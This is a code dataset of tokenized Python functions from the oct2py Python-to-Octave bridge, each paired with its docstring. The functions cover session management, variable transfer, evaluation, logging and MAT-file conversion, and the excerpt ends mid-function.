{"signature": "def kill_octave():", "body": "import os<EOL>if os.name == '<STR_LIT>':<EOL><INDENT>os.system('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>os.system('<STR_LIT>')<EOL>os.system('<STR_LIT>')<EOL><DEDENT>octave.restart()<EOL>", "docstring": "Kill all octave instances (cross-platform).\n\n    This will restart the \"octave\" instance.  If you have instantiated\n    Any other Oct2Py objects, you must restart them.", "id": "f421:m0"}
{"signature": "def thread_check(nthreads=<NUM_LIT:3>):", "body": "print(\"<STR_LIT>\".format(nthreads,<EOL>datetime.datetime.now()))<EOL>threads = []<EOL>for i in range(nthreads):<EOL><INDENT>thread = ThreadClass()<EOL>thread.setDaemon(True)<EOL>thread.start()<EOL>threads.append(thread)<EOL><DEDENT>for thread in threads:<EOL><INDENT>thread.join()<EOL><DEDENT>print('<STR_LIT>'.format(datetime.datetime.now()))<EOL>", "docstring": "Start a number of threads and verify each has a unique Octave session.\n\nParameters\n==========\nnthreads : int\n    Number of threads to use.\n\nRaises\n======\nOct2PyError\n    If the thread does not sucessfully demonstrate independence.", "id": "f422:m0"}
{"signature": "def run(self):", "body": "octave = Oct2Py()<EOL>octave.push('<STR_LIT:name>', self.getName())<EOL>name = octave.pull('<STR_LIT:name>')<EOL>now = datetime.datetime.now()<EOL>print(\"<STR_LIT>\".format(self.getName(), name, now))<EOL>octave.exit()<EOL>try:<EOL><INDENT>assert self.getName() == name<EOL><DEDENT>except AssertionError:  <EOL><INDENT>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>return<EOL>", "docstring": "Create a unique instance of Octave and verify namespace uniqueness.\n\nRaises\n======\nOct2PyError\n    If the thread does not sucessfully demonstrate independence", "id": "f422:c0:m0"}
{"signature": "def __init__(self, executable=None, logger=None, timeout=None,<EOL>oned_as='<STR_LIT>', temp_dir=None, convert_to_float=True,<EOL>backend=None):", "body": "self._oned_as = oned_as<EOL>self._executable = executable<EOL>self._engine = None<EOL>self._logger = None<EOL>self.logger = logger<EOL>self.timeout = timeout<EOL>self.backend = backend<EOL>self.temp_dir = temp_dir or tempfile.mkdtemp()<EOL>self.convert_to_float = convert_to_float<EOL>self._user_classes = dict()<EOL>self._function_ptrs = dict()<EOL>self.restart()<EOL>atexit.register(self._cleanup)<EOL>", "docstring": "Start Octave and set up the session.", "id": "f423:c0:m0"}
{"signature": "@property<EOL><INDENT>def logger(self):<DEDENT>", "body": "return self._logger<EOL>", "docstring": "The logging instance used by the session.", "id": "f423:c0:m1"}
{"signature": "def __enter__(self):", "body": "if not self._engine:<EOL><INDENT>self.restart()<EOL><DEDENT>return self<EOL>", "docstring": "Return octave object, restart session if necessary", "id": "f423:c0:m3"}
{"signature": "def __exit__(self, type, value, traceback):", "body": "self.exit()<EOL>", "docstring": "Close session", "id": "f423:c0:m4"}
{"signature": "def exit(self):", "body": "if self._engine:<EOL><INDENT>self._engine.repl.terminate()<EOL><DEDENT>self._engine = None<EOL>", "docstring": "Quits this octave session and cleans up.", "id": "f423:c0:m5"}
{"signature": "def push(self, name, var, timeout=None, verbose=True):", "body": "if isinstance(name, (str, unicode)):<EOL><INDENT>name = [name]<EOL>var = [var]<EOL><DEDENT>for (n, v) in zip(name, var):<EOL><INDENT>self.feval('<STR_LIT>', '<STR_LIT>', n, v, nout=<NUM_LIT:0>, timeout=timeout,<EOL>verbose=verbose)<EOL><DEDENT>", "docstring": "Put a variable or variables into the Octave session.\n\nParameters\n----------\nname : str or list\n    Name of the variable(s).\nvar : object or list\n    The value(s) to pass.\ntimeout : float\n    Time to wait for response from Octave (per line).\n**kwargs: Deprecated kwargs, ignored.\n\nExamples\n--------\n>>> from oct2py import octave\n>>> y = [1, 2]\n>>> octave.push('y', y)\n>>> octave.pull('y')\narray([[ 1.,  2.]])\n>>> octave.push(['x', 'y'], ['spam', [1, 2, 3, 4]])\n>>> octave.pull(['x', 'y'])  # doctest: +SKIP\n[u'spam', array([[1, 2, 3, 4]])]\n\nNotes\n-----\nInteger type arguments will be converted to floating point\nunless `convert_to_float=False`.", "id": "f423:c0:m6"}
{"signature": "def pull(self, var, timeout=None, verbose=True):", "body": "if isinstance(var, (str, unicode)):<EOL><INDENT>var = [var]<EOL><DEDENT>outputs = []<EOL>for name in var:<EOL><INDENT>exist = self._exist(name)<EOL>if exist == <NUM_LIT:1>:<EOL><INDENT>outputs.append(self.feval('<STR_LIT>', '<STR_LIT>', name,<EOL>timeout=timeout, verbose=verbose))<EOL><DEDENT>else:<EOL><INDENT>outputs.append(self.get_pointer(name, timeout=timeout))<EOL><DEDENT><DEDENT>if len(outputs) == <NUM_LIT:1>:<EOL><INDENT>return outputs[<NUM_LIT:0>]<EOL><DEDENT>return outputs<EOL>", "docstring": "Retrieve a value or values from the Octave session.\n\nParameters\n----------\nvar : str or list\n    Name of the variable(s) to retrieve.\ntimeout : float, optional.\n    Time to wait for response from Octave (per line).\n**kwargs: Deprecated kwargs, ignored.\n\nReturns\n-------\nout : object\n    Object returned by Octave.\n\nRaises\n------\nOct2PyError\n    If the variable does not exist in the Octave session.\n\nExamples\n--------\n  >>> from oct2py import octave\n  >>> y = [1, 2]\n  >>> octave.push('y', y)\n  >>> octave.pull('y')\n  array([[ 1.,  2.]])\n  >>> octave.push(['x', 'y'], ['spam', [1, 2, 3, 4]])\n  >>> octave.pull(['x', 'y'])  # doctest: +SKIP\n  [u'spam', array([[1, 2, 3, 4]])]", "id": "f423:c0:m7"}
{"signature": "def get_pointer(self, name, timeout=None):", "body": "exist = self._exist(name)<EOL>isobject = self._isobject(name, exist)<EOL>if exist == <NUM_LIT:0>:<EOL><INDENT>raise Oct2PyError('<STR_LIT>' % name)<EOL><DEDENT>elif exist == <NUM_LIT:1>:<EOL><INDENT>return _make_variable_ptr_instance(self, name)<EOL><DEDENT>elif isobject:<EOL><INDENT>return self._get_user_class(name)<EOL><DEDENT>elif exist in [<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:5>]:<EOL><INDENT>return self._get_function_ptr(name)<EOL><DEDENT>raise Oct2PyError('<STR_LIT>' % name)<EOL>", "docstring": "Get a pointer to a named object in the Octave workspace.\n\n        Parameters\n        ----------\n        name: str\n            The name of the object in the Octave workspace.\n        timemout: float, optional.\n            Time to wait for response from Octave (per line).\n\n        Examples\n        --------\n        >>> from oct2py import octave\n        >>> octave.eval('foo = [1, 2];')\n        >>> ptr = octave.get_pointer('foo')\n        >>> ptr.value\n        array([[ 1.,  2.]])\n        >>> ptr.address\n        'foo'\n        >>> # Can be passed as an argument\n        >>> octave.disp(ptr)  # doctest: +SKIP\n        1  2\n\n        >>> from oct2py import octave\n        >>> sin = octave.get_pointer('sin')  # equivalent to `octave.sin`\n        >>> sin.address\n        '@sin'\n        >>> x = octave.quad(sin, 0, octave.pi())\n        >>> x\n        2.0\n\n        Notes\n        -----\n        Pointers can be passed to `feval` or dynamic functions as function arguments.  A pointer passed as a nested value will be passed by value instead.\n\n        Raises\n        ------\n        Oct2PyError\n            If the variable does not exist in the Octave session or is of\n            unknown type.\n\n        Returns\n        -------\n        A variable, object, user class, or function pointer as appropriate.", "id": "f423:c0:m8"}
{"signature": "def extract_figures(self, plot_dir, remove=False):", "body": "figures = self._engine.extract_figures(plot_dir, remove)<EOL>return figures<EOL>", "docstring": "Extract the figures in the directory to IPython display objects.\n\n        Parameters\n        ----------\n        plot_dir: str\n            The plot dir where the figures were created.\n        remove: bool, optional.\n            Whether to remove the plot directory after saving.", "id": "f423:c0:m9"}
{"signature": "def feval(self, func_path, *func_args, **kwargs):", "body": "if not self._engine:<EOL><INDENT>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>nout = kwargs.get('<STR_LIT>', None)<EOL>if nout is None:<EOL><INDENT>nout = <NUM_LIT:1><EOL><DEDENT>plot_dir = kwargs.get('<STR_LIT>')<EOL>settings = dict(backend='<STR_LIT>' if plot_dir else self.backend,<EOL>format=kwargs.get('<STR_LIT>'),<EOL>name=kwargs.get('<STR_LIT>'),<EOL>width=kwargs.get('<STR_LIT>'),<EOL>height=kwargs.get('<STR_LIT>'),<EOL>resolution=kwargs.get('<STR_LIT>'))<EOL>self._engine.plot_settings = settings<EOL>dname = osp.dirname(func_path)<EOL>fname = osp.basename(func_path)<EOL>func_name, ext = osp.splitext(fname)<EOL>if ext and not ext == '<STR_LIT>':<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if func_name == '<STR_LIT>':<EOL><INDENT>raise Oct2PyError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>stream_handler = kwargs.get('<STR_LIT>')<EOL>verbose = kwargs.get('<STR_LIT>', True)<EOL>store_as = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>timeout = kwargs.get('<STR_LIT>', self.timeout)<EOL>if not stream_handler:<EOL><INDENT>stream_handler = self.logger.info if verbose else self.logger.debug<EOL><DEDENT>return self._feval(func_name, func_args, dname=dname, nout=nout,<EOL>timeout=timeout, stream_handler=stream_handler,<EOL>store_as=store_as, plot_dir=plot_dir)<EOL>", "docstring": "Run a function in Octave and return the result.\n\n        Parameters\n        ----------\n        func_path: str\n            Name of function to run or a path to an m-file.\n        func_args: object, optional\n            Args to send to the function.\n        nout: int, optional\n            Desired number of return arguments, defaults to 1.\n        store_as: str, optional\n            If given, saves the result to the given Octave variable name\n            instead of returning it.\n        verbose : bool, optional\n            Log Octave output at INFO level.  If False, log at DEBUG level.\n        stream_handler: callable, optional\n            A function that is called for each line of output from the\n            evaluation.\n        timeout: float, optional\n            The timeout in seconds for the call.\n        plot_dir: str, optional\n            If specificed, save the session's plot figures to the plot\n            directory instead of displaying the plot window.\n        plot_name : str, optional\n            Saved plots will start with `plot_name` and\n            end with \"_%%.xxx' where %% is the plot number and\n            xxx is the `plot_format`.\n        plot_format: str, optional\n            The format in which to save the plot.\n        plot_width: int, optional\n            The plot with in pixels.\n        plot_height: int, optional\n            The plot height in pixels.\n\n        Notes\n        -----\n        The function arguments passed follow Octave calling convention, not\n        Python. That is, all values must be passed as a comma separated list,\n        not using `x=foo` assignment.\n\n        Examples\n        --------\n        >>> from oct2py import octave\n        >>> cell = octave.feval('cell', 10, 10, 10)\n        >>> cell.shape\n        (10, 10, 10)\n\n        >>> from oct2py import octave\n        >>> x = octave.feval('linspace', 0, octave.pi() / 2)\n        >>> x.shape\n        (1, 100)\n\n        >>> from oct2py import octave\n        >>> x = octave.feval('svd', octave.hilb(3))\n        >>> x\n        array([[ 1.40831893],\n               [ 0.12232707],\n               [ 0.00268734]])\n        >>> # specify three return values\n        >>> (u, v, d) = octave.feval('svd', octave.hilb(3), nout=3)\n        >>> u.shape\n        (3, 3)\n\n        Returns\n        -------\n        The Python value(s) returned by the Octave function call.", "id": "f423:c0:m10"}
{"signature": "def eval(self, cmds, verbose=True, timeout=None, stream_handler=None,<EOL>temp_dir=None, plot_dir=None, plot_name='<STR_LIT>', plot_format='<STR_LIT>',<EOL>plot_width=None, plot_height=None, plot_res=None,<EOL>nout=<NUM_LIT:0>, **kwargs):", "body": "if isinstance(cmds, (str, unicode)):<EOL><INDENT>cmds = [cmds]<EOL><DEDENT>prev_temp_dir = self.temp_dir<EOL>self.temp_dir = temp_dir or self.temp_dir<EOL>prev_log_level = self.logger.level<EOL>if kwargs.get('<STR_LIT>') is False:<EOL><INDENT>self.logger.setLevel(logging.WARN)<EOL><DEDENT>for name in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if name not in kwargs:<EOL><INDENT>continue<EOL><DEDENT>msg = '<STR_LIT>'<EOL>warnings.warn(msg % name, stacklevel=<NUM_LIT:2>)<EOL><DEDENT>return_both = kwargs.pop('<STR_LIT>', False)<EOL>lines = []<EOL>if return_both and not stream_handler:<EOL><INDENT>stream_handler = lines.append<EOL><DEDENT>ans = None<EOL>for cmd in cmds:<EOL><INDENT>resp = self.feval('<STR_LIT>', '<STR_LIT>', cmd,<EOL>nout=nout, timeout=timeout,<EOL>stream_handler=stream_handler,<EOL>verbose=verbose, plot_dir=plot_dir,<EOL>plot_name=plot_name, plot_format=plot_format,<EOL>plot_width=plot_width, plot_height=plot_height,<EOL>plot_res=plot_res)<EOL>if resp is not None:<EOL><INDENT>ans = resp<EOL><DEDENT><DEDENT>self.temp_dir = prev_temp_dir<EOL>self.logger.setLevel(prev_log_level)<EOL>if return_both:<EOL><INDENT>return '<STR_LIT:\\n>'.join(lines), ans<EOL><DEDENT>return ans<EOL>", "docstring": "Evaluate an Octave command or commands.\n\nParameters\n----------\ncmds : str or list\n    Commands(s) to pass to Octave.\nverbose : bool, optional\n     Log Octave output at INFO level.  If False, log at DEBUG level.\nstream_handler: callable, optional\n    A function that is called for each line of output from the\n    evaluation.\ntimeout : float, optional\n    Time to wait for response from Octave (per line).  If not given,\n    the instance `timeout` is used.\nnout : int, optional.\n    The desired number of returned values, defaults to 0.  If nout\n    is 0, the `ans` will be returned as the return value.\ntemp_dir: str, optional\n    If specified, the session's MAT files will be created in the\n    directory, otherwise a the instance `temp_dir` is used.\n    a shared memory (tmpfs) path.\nplot_dir: str, optional\n    If specificed, save the session's plot figures to the plot\n    directory instead of displaying the plot window.\nplot_name : str, optional\n    Saved plots will start with `plot_name` and\n    end with \"_%%.xxx' where %% is the plot number and\n    xxx is the `plot_format`.\nplot_format: str, optional\n    The format in which to save the plot (PNG by default).\nplot_width: int, optional\n    The plot with in pixels.\nplot_height: int, optional\n    The plot height in pixels.\nplot_res: int, optional\n    The plot resolution in pixels per inch.\n**kwargs Deprectated kwargs.\n\nExamples\n--------\n>>> from oct2py import octave\n>>> octave.eval('disp(\"hello\")') # doctest: +SKIP\nhello\n>>> x = octave.eval('round(quad(@sin, 0, pi/2));')\n>>> x\n1.0\n\n>>> a = octave.eval('disp(\"hello\");1;')  # doctest: +SKIP\nhello\n>>> a = octave.eval('disp(\"hello\");1;', verbose=False)\n>>> a\n1.0\n\n>>> from oct2py import octave\n>>> lines = []\n>>> octave.eval('for i = 1:3; disp(i);end', \\\n                stream_handler=lines.append)\n>>> lines  # doctest: +SKIP\n[' 1', ' 2', ' 3']\n\nReturns\n-------\nout : object\n    Octave \"ans\" variable, or None.\n\nNotes\n-----\nThe deprecated `log` kwarg will temporarily set the `logger` level to\n`WARN`.  Using the `logger` settings directly is preferred.\nThe deprecated `return_both` kwarg will still work, but the preferred\nmethod is to use the `stream_handler`.  If `stream_handler` is given,\nthe `return_both` kwarg will be honored but will give an empty string\nas the reponse.\n\nRaises\n------\nOct2PyError\n    If the command(s) fail.", "id": "f423:c0:m11"}
{"signature": "def restart(self):", "body": "if self._engine:<EOL><INDENT>self._engine.repl.terminate()<EOL><DEDENT>executable = self._executable<EOL>if executable:<EOL><INDENT>os.environ['<STR_LIT>'] = executable<EOL><DEDENT>if '<STR_LIT>' not in os.environ and '<STR_LIT>' in os.environ:<EOL><INDENT>os.environ['<STR_LIT>'] = os.environ['<STR_LIT>']<EOL><DEDENT>self._engine = OctaveEngine(stdin_handler=self._handle_stdin,<EOL>logger=self.logger)<EOL>self._engine.eval('<STR_LIT>' % HERE.replace(osp.sep, '<STR_LIT:/>'))<EOL>", "docstring": "Restart an Octave session in a clean state", "id": "f423:c0:m12"}
{"signature": "def _feval(self, func_name, func_args=(), dname='<STR_LIT>', nout=<NUM_LIT:0>,<EOL>timeout=None, stream_handler=None, store_as='<STR_LIT>', plot_dir=None):", "body": "engine = self._engine<EOL>if engine is None:<EOL><INDENT>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>out_file = osp.join(self.temp_dir, '<STR_LIT>')<EOL>out_file = out_file.replace(osp.sep, '<STR_LIT:/>')<EOL>in_file = osp.join(self.temp_dir, '<STR_LIT>')<EOL>in_file = in_file.replace(osp.sep, '<STR_LIT:/>')<EOL>func_args = list(func_args)<EOL>ref_indices = []<EOL>for (i, value) in enumerate(func_args):<EOL><INDENT>if isinstance(value, OctavePtr):<EOL><INDENT>ref_indices.append(i + <NUM_LIT:1>)<EOL>func_args[i] = value.address<EOL><DEDENT><DEDENT>ref_indices = np.array(ref_indices)<EOL>req = dict(func_name=func_name, func_args=tuple(func_args),<EOL>dname=dname or '<STR_LIT>', nout=nout,<EOL>store_as=store_as or '<STR_LIT>',<EOL>ref_indices=ref_indices)<EOL>write_file(req, out_file, oned_as=self._oned_as,<EOL>convert_to_float=self.convert_to_float)<EOL>engine.stream_handler = stream_handler or self.logger.info<EOL>if timeout is None:<EOL><INDENT>timeout = self.timeout<EOL><DEDENT>try:<EOL><INDENT>engine.eval('<STR_LIT>' % (out_file, in_file),<EOL>timeout=timeout)<EOL><DEDENT>except KeyboardInterrupt as e:<EOL><INDENT>stream_handler(engine.repl.interrupt())<EOL>raise<EOL><DEDENT>except TIMEOUT:<EOL><INDENT>stream_handler(engine.repl.interrupt())<EOL>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>except EOF:<EOL><INDENT>stream_handler(engine.repl.child.before)<EOL>self.restart()<EOL>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>resp = read_file(in_file, self)<EOL>if resp['<STR_LIT>']:<EOL><INDENT>msg = self._parse_error(resp['<STR_LIT>'])<EOL>raise Oct2PyError(msg)<EOL><DEDENT>result = resp['<STR_LIT:result>'].ravel().tolist()<EOL>if isinstance(result, list) and len(result) == <NUM_LIT:1>:<EOL><INDENT>result = result[<NUM_LIT:0>]<EOL><DEDENT>if (isinstance(result, Cell) and<EOL>result.size == <NUM_LIT:1> and<EOL>isinstance(result[<NUM_LIT:0>], string_types) and<EOL>result[<NUM_LIT:0>] == '<STR_LIT>'):<EOL><INDENT>result = None<EOL><DEDENT>if plot_dir:<EOL><INDENT>self._engine.make_figures(plot_dir)<EOL><DEDENT>return result<EOL>", "docstring": "Run the given function with the given args.", "id": "f423:c0:m13"}
{"signature": "def _parse_error(self, err):", "body": "self.logger.debug(err)<EOL>stack = err.get('<STR_LIT>', [])<EOL>if not err['<STR_LIT:message>'].startswith('<STR_LIT>'):<EOL><INDENT>err['<STR_LIT:message>'] = '<STR_LIT>' + err['<STR_LIT:message>']<EOL><DEDENT>errmsg = '<STR_LIT>' % err['<STR_LIT:message>']<EOL>if not isinstance(stack, StructArray):<EOL><INDENT>return errmsg<EOL><DEDENT>errmsg += '<STR_LIT>'<EOL>for item in stack[:-<NUM_LIT:1>]:<EOL><INDENT>errmsg += '<STR_LIT>' % item<EOL>try:<EOL><INDENT>errmsg += '<STR_LIT>' % item<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return errmsg<EOL>", "docstring": "Create a traceback for an Octave evaluation error.", "id": "f423:c0:m14"}
{"signature": "def _handle_stdin(self, line):", "body": "return input(line.replace(STDIN_PROMPT, '<STR_LIT>'))<EOL>", "docstring": "Handle a stdin request from the session.", "id": "f423:c0:m15"}
{"signature": "def _get_doc(self, name):", "body": "doc = '<STR_LIT>' % name<EOL>engine = self._engine<EOL>doc = engine.eval('<STR_LIT>' % name, silent=True)<EOL>if '<STR_LIT>' in doc.lower():<EOL><INDENT>raise Oct2PyError(doc)<EOL><DEDENT>if '<STR_LIT>' in doc.lower():<EOL><INDENT>doc = engine.eval('<STR_LIT>' % name, silent=True)<EOL>doc = '<STR_LIT:\\n>'.join(doc.splitlines()[:<NUM_LIT:3>])<EOL><DEDENT>default = self.feval.__doc__<EOL>default = '<STR_LIT:U+0020>' + default[default.find('<STR_LIT>'):]<EOL>default = '<STR_LIT:\\n>'.join([line[<NUM_LIT:8>:] for line in default.splitlines()])<EOL>doc = '<STR_LIT:\\n>'.join(doc.splitlines())<EOL>doc = '<STR_LIT:\\n>' + doc + '<STR_LIT>' + default<EOL>doc += '<STR_LIT>'<EOL>doc += '<STR_LIT>'<EOL>doc += '<STR_LIT>'<EOL>doc += '<STR_LIT>'<EOL>doc += '<STR_LIT>'<EOL>doc += '<STR_LIT>'<EOL>doc += '<STR_LIT>'<EOL>return doc<EOL>", "docstring": "Get the documentation of an Octave procedure or object.\n\nParameters\n----------\nname : str\n    Function name to search for.\n\nReturns\n-------\nout : str\n  Documentation string.\n\nRaises\n------\nOct2PyError\n   If the procedure or object function has a syntax error.", "id": "f423:c0:m16"}
{"signature": "def _exist(self, name):", "body": "cmd = '<STR_LIT>' % name<EOL>resp = self._engine.eval(cmd, silent=True).strip()<EOL>exist = int(resp.split()[-<NUM_LIT:1>])<EOL>if exist == <NUM_LIT:0>:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise Oct2PyError(msg % name)<EOL><DEDENT>return exist<EOL>", "docstring": "Test whether a name exists and return the name code.\n\n        Raises an error when the name does not exist.", "id": "f423:c0:m17"}
{"signature": "def _isobject(self, name, exist):", "body": "if exist in [<NUM_LIT:2>, <NUM_LIT:5>]:<EOL><INDENT>return False<EOL><DEDENT>cmd = '<STR_LIT>' % name<EOL>resp = self._engine.eval(cmd, silent=True).strip()<EOL>return resp == '<STR_LIT>'<EOL>", "docstring": "Test whether the name is an object.", "id": "f423:c0:m18"}
{"signature": "def _get_function_ptr(self, name):", "body": "func = _make_function_ptr_instance<EOL>self._function_ptrs.setdefault(name, func(self, name))<EOL>return self._function_ptrs[name]<EOL>", "docstring": "Get or create a function pointer of the given name.", "id": "f423:c0:m19"}
{"signature": "def _get_user_class(self, name):", "body": "self._user_classes.setdefault(name, _make_user_class(self, name))<EOL>return self._user_classes[name]<EOL>", "docstring": "Get or create a user class of the given type.", "id": "f423:c0:m20"}
{"signature": "def _cleanup(self):", "body": "self.exit()<EOL>workspace = osp.join(os.getcwd(), '<STR_LIT>')<EOL>if osp.exists(workspace):<EOL><INDENT>os.remove(workspace)<EOL><DEDENT>", "docstring": "Clean up resources used by the session.", "id": "f423:c0:m21"}
{"signature": "def __getattr__(self, attr):", "body": "<EOL>if attr.startswith('<STR_LIT>'):<EOL><INDENT>return super(Oct2Py, self).__getattr__(attr)<EOL><DEDENT>if attr[-<NUM_LIT:1>] == \"<STR_LIT:_>\":<EOL><INDENT>name = attr[:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>name = attr<EOL><DEDENT>if self._engine is None:<EOL><INDENT>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>exist = self._exist(name)<EOL>if exist not in [<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:5>, <NUM_LIT>]:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise Oct2PyError(msg % name)<EOL><DEDENT>if name == '<STR_LIT>':<EOL><INDENT>raise Oct2PyError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>if self._isobject(name, exist):<EOL><INDENT>obj = self._get_user_class(name)<EOL><DEDENT>else:<EOL><INDENT>obj = self._get_function_ptr(name)<EOL><DEDENT>setattr(self, attr, obj)<EOL>return obj<EOL>", "docstring": "Automatically creates a wapper to an Octave function or object.\n\n        Adapted from the mlabwrap project.", "id": "f423:c0:m22"}
{"signature": "def get_log(name=None):", "body": "if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>name = '<STR_LIT>' + name<EOL><DEDENT>log = logging.getLogger(name)<EOL>log.setLevel(logging.INFO)<EOL>return log<EOL>", "docstring": "Return a console logger.\n\n    Output may be sent to the logger using the `debug`, `info`, `warning`,\n    `error` and `critical` methods.\n\n    Parameters\n    ----------\n    name : str\n        Name of the log.\n\n    References\n    ----------\n    .. [1] Logging facility for Python,\n           http://docs.python.org/library/logging.html", "id": "f424:m0"}
{"signature": "def _setup_log():", "body": "try:<EOL><INDENT>handler = logging.StreamHandler(stream=sys.stdout)<EOL><DEDENT>except TypeError:  <EOL><INDENT>handler = logging.StreamHandler(strm=sys.stdout)<EOL><DEDENT>log = get_log()<EOL>log.addHandler(handler)<EOL>log.setLevel(logging.INFO)<EOL>log.propagate = False<EOL>", "docstring": "Configure root logger.", "id": "f424:m1"}
{"signature": "def speed_check():", "body": "test = SpeedCheck()<EOL>test.run()<EOL>", "docstring": "Checks the speed penalty of the Python to Octave bridge.\n\n    Uses timeit to test the raw execution of a Octave command,\n    Then tests progressively larger array passing.", "id": "f425:m0"}
{"signature": "def __init__(self):", "body": "self.octave = Oct2Py()<EOL>self.array = []<EOL>", "docstring": "Create our Octave instance and initialize the data array", "id": "f425:c0:m0"}
{"signature": "def raw_speed(self):", "body": "self.octave.eval(\"<STR_LIT>\")<EOL>", "docstring": "Run a fast Octave command and see how long it takes.", "id": "f425:c0:m1"}
{"signature": "def large_array_put(self):", "body": "self.octave.push('<STR_LIT:x>', self.array)<EOL>", "docstring": "Create a large matrix and load it into the octave session.", "id": "f425:c0:m2"}
{"signature": "def large_array_get(self):", "body": "self.octave.pull('<STR_LIT:x>')<EOL>", "docstring": "Retrieve the large matrix from the octave session", "id": "f425:c0:m3"}
{"signature": "def run(self):", "body": "print('<STR_LIT>')<EOL>print('<STR_LIT:*>' * <NUM_LIT:20>)<EOL>time.sleep(<NUM_LIT:1>)<EOL>print('<STR_LIT>')<EOL>avg = timeit.timeit(self.raw_speed, number=<NUM_LIT:10>) / <NUM_LIT:10><EOL>print('<STR_LIT>'.format(avg * <NUM_LIT>))<EOL>sides = [<NUM_LIT:1>, <NUM_LIT:10>, <NUM_LIT:100>, <NUM_LIT:1000>]<EOL>runs = [<NUM_LIT:10>, <NUM_LIT:10>, <NUM_LIT:10>, <NUM_LIT:5>]<EOL>for (side, nruns) in zip(sides, runs):<EOL><INDENT>self.array = np.reshape(np.arange(side ** <NUM_LIT:2>), (-<NUM_LIT:1>))<EOL>print('<STR_LIT>'.format(side, side))<EOL>avg = timeit.timeit(self.large_array_put, number=nruns) / nruns<EOL>print('<STR_LIT>'.format(avg * <NUM_LIT>))<EOL>print('<STR_LIT>'.format(side, side))<EOL>avg = timeit.timeit(self.large_array_get, number=nruns) / nruns<EOL>print('<STR_LIT>'.format(avg * <NUM_LIT>))<EOL><DEDENT>self.octave.exit()<EOL>print('<STR_LIT:*>' * <NUM_LIT:20>)<EOL>print('<STR_LIT>')<EOL>", "docstring": "Perform the Oct2Py speed analysis.\n\n        Uses timeit to test the raw execution of an Octave command,\n        Then tests progressively larger array passing.", "id": "f425:c0:m4"}
{"signature": "def read_file(path, session=None):", "body": "try:<EOL><INDENT>data = loadmat(path, struct_as_record=True)<EOL><DEDENT>except UnicodeDecodeError as e:<EOL><INDENT>raise Oct2PyError(str(e))<EOL><DEDENT>out = dict()<EOL>for (key, value) in data.items():<EOL><INDENT>out[key] = _extract(value, session)<EOL><DEDENT>return out<EOL>", "docstring": "Read the data from the given file path.", "id": "f426:m0"}
{"signature": "def write_file(obj, path, oned_as='<STR_LIT>', convert_to_float=True):", "body": "data = _encode(obj, convert_to_float)<EOL>try:<EOL><INDENT>with _WRITE_LOCK:<EOL><INDENT>savemat(path, data, appendmat=False, oned_as=oned_as,<EOL>long_field_names=True)<EOL><DEDENT><DEDENT>except KeyError:  <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "Save a Python object to an Octave file on the given path.", "id": "f426:m1"}
{"signature": "def _extract(data, session=None):", "body": "<EOL>if isinstance(data, list):<EOL><INDENT>return [_extract(d, session) for d in data]<EOL><DEDENT>if not isinstance(data, np.ndarray):<EOL><INDENT>return data<EOL><DEDENT>if isinstance(data, MatlabObject):<EOL><INDENT>cls = session._get_user_class(data.classname)<EOL>return cls.from_value(data)<EOL><DEDENT>if data.dtype.names:<EOL><INDENT>if data.size == <NUM_LIT:1>:<EOL><INDENT>return _create_struct(data, session)<EOL><DEDENT>return StructArray(data, session)<EOL><DEDENT>if data.dtype.kind == '<STR_LIT:O>':<EOL><INDENT>return Cell(data, session)<EOL><DEDENT>if data.size == <NUM_LIT:1>:<EOL><INDENT>return data.item()<EOL><DEDENT>if data.size == <NUM_LIT:0>:<EOL><INDENT>if data.dtype.kind in '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return []<EOL><DEDENT>return data<EOL>", "docstring": "Convert the Octave values to values suitable for Python.", "id": "f426:m2"}
{"signature": "def _create_struct(data, session):", "body": "out = Struct()<EOL>for name in data.dtype.names:<EOL><INDENT>item = data[name]<EOL>if isinstance(item, np.ndarray) and item.dtype.kind == '<STR_LIT:O>':<EOL><INDENT>item = item.squeeze().tolist()<EOL><DEDENT>out[name] = _extract(item, session)<EOL><DEDENT>return out<EOL>", "docstring": "Create a struct from session data.", "id": "f426:m3"}
{"signature": "def _encode(data, convert_to_float):", "body": "ctf = convert_to_float<EOL>if isinstance(data, (OctaveVariablePtr)):<EOL><INDENT>return _encode(data.value, ctf)<EOL><DEDENT>if isinstance(data, OctaveUserClass):<EOL><INDENT>return _encode(OctaveUserClass.to_value(data), ctf)<EOL><DEDENT>if isinstance(data, (OctaveFunctionPtr, MatlabFunction)):<EOL><INDENT>raise Oct2PyError('<STR_LIT>')<EOL><DEDENT>if isinstance(data, MatlabObject):<EOL><INDENT>view = data.view(np.ndarray)<EOL>out = MatlabObject(data, data.classname)<EOL>for name in out.dtype.names:<EOL><INDENT>out[name] = _encode(view[name], ctf)<EOL><DEDENT>return out<EOL><DEDENT>if isinstance(data, (DataFrame, Series)):<EOL><INDENT>return _encode(data.values, ctf)<EOL><DEDENT>if isinstance(data, dict):<EOL><INDENT>out = dict()<EOL>for (key, value) in data.items():<EOL><INDENT>out[key] = _encode(value, ctf)<EOL><DEDENT>return out<EOL><DEDENT>if data is None:<EOL><INDENT>return np.NaN<EOL><DEDENT>if isinstance(data, set):<EOL><INDENT>return _encode(list(data), ctf)<EOL><DEDENT>if isinstance(data, list):<EOL><INDENT>if _is_simple_numeric(data):<EOL><INDENT>return _encode(np.array(data), ctf)<EOL><DEDENT>return _encode(tuple(data), ctf)<EOL><DEDENT>if isinstance(data, 